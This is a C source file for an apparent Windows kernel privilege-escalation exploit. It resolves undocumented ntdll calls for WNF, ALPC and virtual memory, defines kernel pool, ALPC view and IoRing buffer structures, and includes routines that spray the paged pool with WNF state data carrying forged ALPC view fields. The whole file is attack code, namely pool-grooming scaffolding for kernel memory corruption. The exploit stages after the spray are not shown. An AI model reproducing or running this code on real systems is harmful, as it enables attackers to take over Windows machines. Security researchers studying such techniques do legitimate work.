// clang-format off
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#define NTDDI_VERSION NTDDI_WIN10_NI
#include <io.h>
#include <stdio.h>
#include <winternl.h>
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#include <ioringapi.h>
// clang-format on
#define AFFINITY_CORE0 (1 << 0)
#define AFFINITY_CORE1 (1 << 1)
typedef struct {
UINT32 Header;
UINT32 AllocatedSize;
UINT32 DataSize;
UINT32 ChangeStamp;
} _WNF_STATE_DATA;
typedef struct _WNF_STATE_NAME {
ULONG Data2[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;
typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;
typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine,
WnfDataScopePhysicalMachine
} WNF_DATA_SCOPE;
typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;
typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
typedef NTSTATUS(NTAPI *__NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor);
__NtCreateWnfStateName NtCreateWnfStateName;
typedef struct _WNF_STATE_NAME_REGISTRATION {
PVOID64 MaxStateSize;
PVOID64 TypeId;
PVOID64 SecurityDescriptor;
} WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;
typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
typedef NTSTATUS(NTAPI *__NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID *Buffer, _In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp);
__NtUpdateWnfStateData NtUpdateWnfStateData;
typedef NTSTATUS(NTAPI *__NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID *ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
__NtQueryWnfStateData NtQueryWnfStateData;
typedef NTSTATUS(NTAPI *__NtDeleteWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ const VOID *ExplicitScope);
__NtDeleteWnfStateData NtDeleteWnfStateData;
typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;
typedef struct _PORT_MESSAGE {
union {
struct {
USHORT DataLength;
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
ULONG CallbackId; // only valid for LPC_REQUEST messages
};
} PORT_MESSAGE, *PPORT_MESSAGE;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000]; // Hard limit for this is 65488. An Error is thrown
// if AlpcMaxAllowedMessageLength() is exceeded
} ALPC_MESSAGE, *PALPC_MESSAGE;
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR;
typedef NTSTATUS(NTAPI *__NtAlpcCreatePort)(
_Out_ PHANDLE PortHandle, _In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcCreatePortSection)(
_In_ HANDLE PortHandle, _In_ ULONG Flags, _In_opt_ HANDLE SectionHandle,
_In_ SIZE_T SectionSize, _Out_ PHANDLE AlpcSectionHandle,
_Out_ PSIZE_T ActualSectionSize);
typedef NTSTATUS(NTAPI *__NtAlpcCreateSectionView)(
_In_ HANDLE PortHandle, _Reserved_ ULONG Flags,
_Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcDeleteSectionView)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ PVOID ViewBase);
typedef NTSTATUS(NTAPI *__NtAlpcDeletePortSection)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ HANDLE SectionHandle);
#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000
typedef struct {
ALPC_MESSAGE_ATTRIBUTES msg_attr;
ALPC_DATA_VIEW_ATTR view_attr;
} msg_view_attr;
__NtAlpcCreatePort NtAlpcCreatePort;
__NtAlpcCreatePortSection NtAlpcCreatePortSection;
__NtAlpcCreateSectionView NtAlpcCreateSectionView;
__NtAlpcDeleteSectionView NtAlpcDeleteSectionView;
__NtAlpcDeletePortSection NtAlpcDeletePortSection;
PSECURITY_DESCRIPTOR pSD = NULL;
typedef HANDLE (*__AvSetMmThreadCharacteristicsA)(char *, DWORD *);
HMODULE avrt;
__AvSetMmThreadCharacteristicsA AvSetMmThreadCharacteristicsA;
typedef struct {
void *Flink;
void *Blink;
} _LIST_ENTRY;
typedef struct {
_LIST_ENTRY ResourceList;
BYTE u1;
BYTE ResourceId;
UINT16 CachedReferences;
BYTE Padding[4];
UINT64 ReferenceCount;
BYTE Lock[0x10];
} _BLOB;
typedef struct {
_LIST_ENTRY ViewListEntry;
void *Region;
void *OwnerPort;
void *OwnerProcess;
UINT64 Address;
UINT64 Size;
void *SecureViewHandle;
void *WriteAccessHandle;
UINT32 u1;
UINT32 NumberOfOwnerMessages;
_LIST_ENTRY ProcessViewListEntry;
} _KALPC_VIEW;
typedef struct {
_BLOB Blob;
_KALPC_VIEW View;
} BlobWithView;
typedef struct {
UINT8 PreviousSize;
UINT8 PoolIndex;
UINT8 BlockSize;
UINT8 PoolType;
UINT32 PoolTag;
union {
void *ProcessBilled;
struct {
UINT16 AllocatorBackTraceIndex;
UINT16 PoolTagHash;
};
};
} _POOL_HEADER;
typedef struct {
_POOL_HEADER Header;
BlobWithView Obj;
} SprayedData;
typedef struct {
_POOL_HEADER Header;
struct {
_LIST_ENTRY List;
char *AttributeName;
size_t AttributeValueSize;
char *AttributeValue;
} Attr;
} SprayedPipeAttr;
enum _IOP_MC_BUFFER_ENTRY_FLAGS : UINT32 {
IOP_MCBF_UNLOCK = 0x1,
IOP_MCBF_SIGNAL_RUNDOWN = 0x2,
IOP_MCBF_CLEANED_UP = 0x4
};
struct _LIST_ENTRY_1 {
struct _LIST_ENTRY_1 *Flink;
struct _LIST_ENTRY_1 *Blink;
};
struct _KEVENT_1 {
char padding[0x18];
};
struct _IOP_MC_BE_PAGE_NODE {
char padding[0x20];
};
typedef struct {
UINT16 Type;
UINT16 Reserved;
UINT32 Size;
INT32 ReferenceCount;
enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags;
struct _LIST_ENTRY_1 GlobalDataLink;
void *Address;
UINT32 Length;
char AccessMode;
INT32 MdlRef;
void *Mdl;
struct _KEVENT_1 MdlRundownEvent;
UINT64 *PfnArray;
struct _IOP_MC_BE_PAGE_NODE PageNodes[0x1];
} _IOP_MC_BUFFER_ENTRY;
typedef NTSTATUS(NTAPI *__NtReadVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress, _Out_ PVOID Buffer,
_In_ SIZE_T NumberOfBytesToRead, _Out_ PSIZE_T NumberOfBytesReaded);
__NtReadVirtualMemory NtReadVirtualMemory;
typedef NTSTATUS(NTAPI *__NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite, _Out_opt_ PSIZE_T NumberOfBytesWritten);
__NtWriteVirtualMemory NtWriteVirtualMemory;
static void dumpMemory(void *ptr, size_t nbytes) {
size_t aligned = (nbytes + 15) & ~15;
for (size_t i = 0; i < aligned; i += 16) {
UINT64 *n = (UINT64 *)&ptr[i];
printf("offset %p = 0x%016llx 0x%016llx\n", (void *)(UINT64)i, n[0],
n[1]);
}
}
static void Init() {
if (sizeof(_BLOB) != 0x30) {
printf("blob size mismatch!\n");
exit(1);
}
if (sizeof(_KALPC_VIEW) != 0x60) {
printf("view size mismatch!\n");
exit(1);
}
if (sizeof(_POOL_HEADER) != 0x10) {
printf("pool header size mismatch!\n");
exit(1);
}
if (sizeof(SprayedData) != 0xa0) {
printf("sprayed data size mismatch!\n");
exit(1);
}
NTSTATUS status;
setbuf(stdout, NULL);
printf("hello from zig!\n");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
NtCreateWnfStateName =
(__NtCreateWnfStateName)GetProcAddress(ntdll, "NtCreateWnfStateName");
NtUpdateWnfStateData =
(__NtUpdateWnfStateData)GetProcAddress(ntdll, "NtUpdateWnfStateData");
NtQueryWnfStateData =
(__NtQueryWnfStateData)GetProcAddress(ntdll, "NtQueryWnfStateData");
NtDeleteWnfStateData =
(__NtDeleteWnfStateData)GetProcAddress(ntdll, "NtDeleteWnfStateData");
NtAlpcCreatePort =
(__NtAlpcCreatePort)GetProcAddress(ntdll, "NtAlpcCreatePort");
NtAlpcCreatePortSection = (__NtAlpcCreatePortSection)GetProcAddress(
ntdll, "NtAlpcCreatePortSection");
NtAlpcCreateSectionView = (__NtAlpcCreateSectionView)GetProcAddress(
ntdll, "NtAlpcCreateSectionView");
NtAlpcDeleteSectionView = (__NtAlpcDeleteSectionView)GetProcAddress(
ntdll, "NtAlpcDeleteSectionView");
NtAlpcDeletePortSection = (__NtAlpcDeletePortSection)GetProcAddress(
ntdll, "NtAlpcDeletePortSection");
NtReadVirtualMemory =
(__NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
printf("NtReadVirtualMemory = %p\n", NtReadVirtualMemory);
NtWriteVirtualMemory =
(__NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
printf("NtWriteVirtualMemory = %p\n", NtWriteVirtualMemory);
printf("ntdll = %p\n", ntdll);
printf("NtFsControlFile = %p\n", NtFsControlFile);
printf("GetSecurityDescriptorDacl = %p\n", GetSecurityDescriptorDacl);
printf("NtCreateWnfStateName = %p\n", NtCreateWnfStateName);
printf("NtUpdateWnfStateData = %p\n", NtUpdateWnfStateData);
status = GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL,
&pSD);
printf("GetSecurityInfo: 0x%lx\n", status);
avrt = LoadLibraryA("avrt.dll");
if (avrt == NULL) {
printf("cannot find avrt.dll\n");
return;
}
printf("found avrt.dll\n");
AvSetMmThreadCharacteristicsA =
(__AvSetMmThreadCharacteristicsA)GetProcAddress(
avrt, "AvSetMmThreadCharacteristicsA");
printf("AvSetMmThreadCharacteristicsA = %p\n",
AvSetMmThreadCharacteristicsA);
}
/*
* spray util
*/
static void SetViewBaseToWNFName(char *buf, WNF_STATE_NAME state_name) {
BlobWithView *view = (BlobWithView *)buf;
view->View.Address = *((PUINT64)&state_name);
}
static int allocate_wnf(UINT amt, void (*func)(char *, WNF_STATE_NAME)) {
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[amt];
NTSTATUS state = 0;
char StateData[0x1000];
memset(StateData, 0x42, sizeof(StateData));
printf("[+] Prepare _WNF_STATE_DATA spray\n");
for (int i = 0; i < amt; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, 0, WNF_MAXBUFSIZE,
pSD);
if (state != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
printf("starting WNF spray\n");
for (int i = 0; i < amt; i++) {
if (func != NULL) {
(*func)(StateData, StateNames[i]);
}
state = NtUpdateWnfStateData(&StateNames[i], &StateData[0x10],
(0x90 - 0x10), 0, 0, 0, 0);
if (state != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", state);
return -1;
}
}
char temp[0x1000];
ULONG tempsize = sizeof(temp);
ULONG stamp = 0;
state =
NtQueryWnfStateData(&StateNames[0], 0, NULL, &stamp, temp, &tempsize);
printf("query status = 0x%lx\n", state);
if (state != 0) {
exit(1);
}
return 0;
}
static int EmptyPagedPool() {
#define WNF_INITIAL_SPRAY (3000)
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[WNF_INITIAL_SPRAY];
// NTSTATUS state = 0;
// printf("[+] spraying mutexes...\n");
// for (int i = 0; i < WNF_INITIAL_SPRAY; i++) {
// char name[0x90 + 1];
// size_t len = sizeof(name) - 1;
// memset(name, 0x20, len);
// name[len] = 0;
// char id[0x20];
// sprintf(id, "%d", i);
// memcpy(name, id, strlen(id));
// HANDLE m = CreateMutexW(NULL, FALSE, (WCHAR *)name);
// }
// printf("done emptying paged pool\n");
// return 0;
return allocate_wnf(WNF_INITIAL_SPRAY, NULL);
}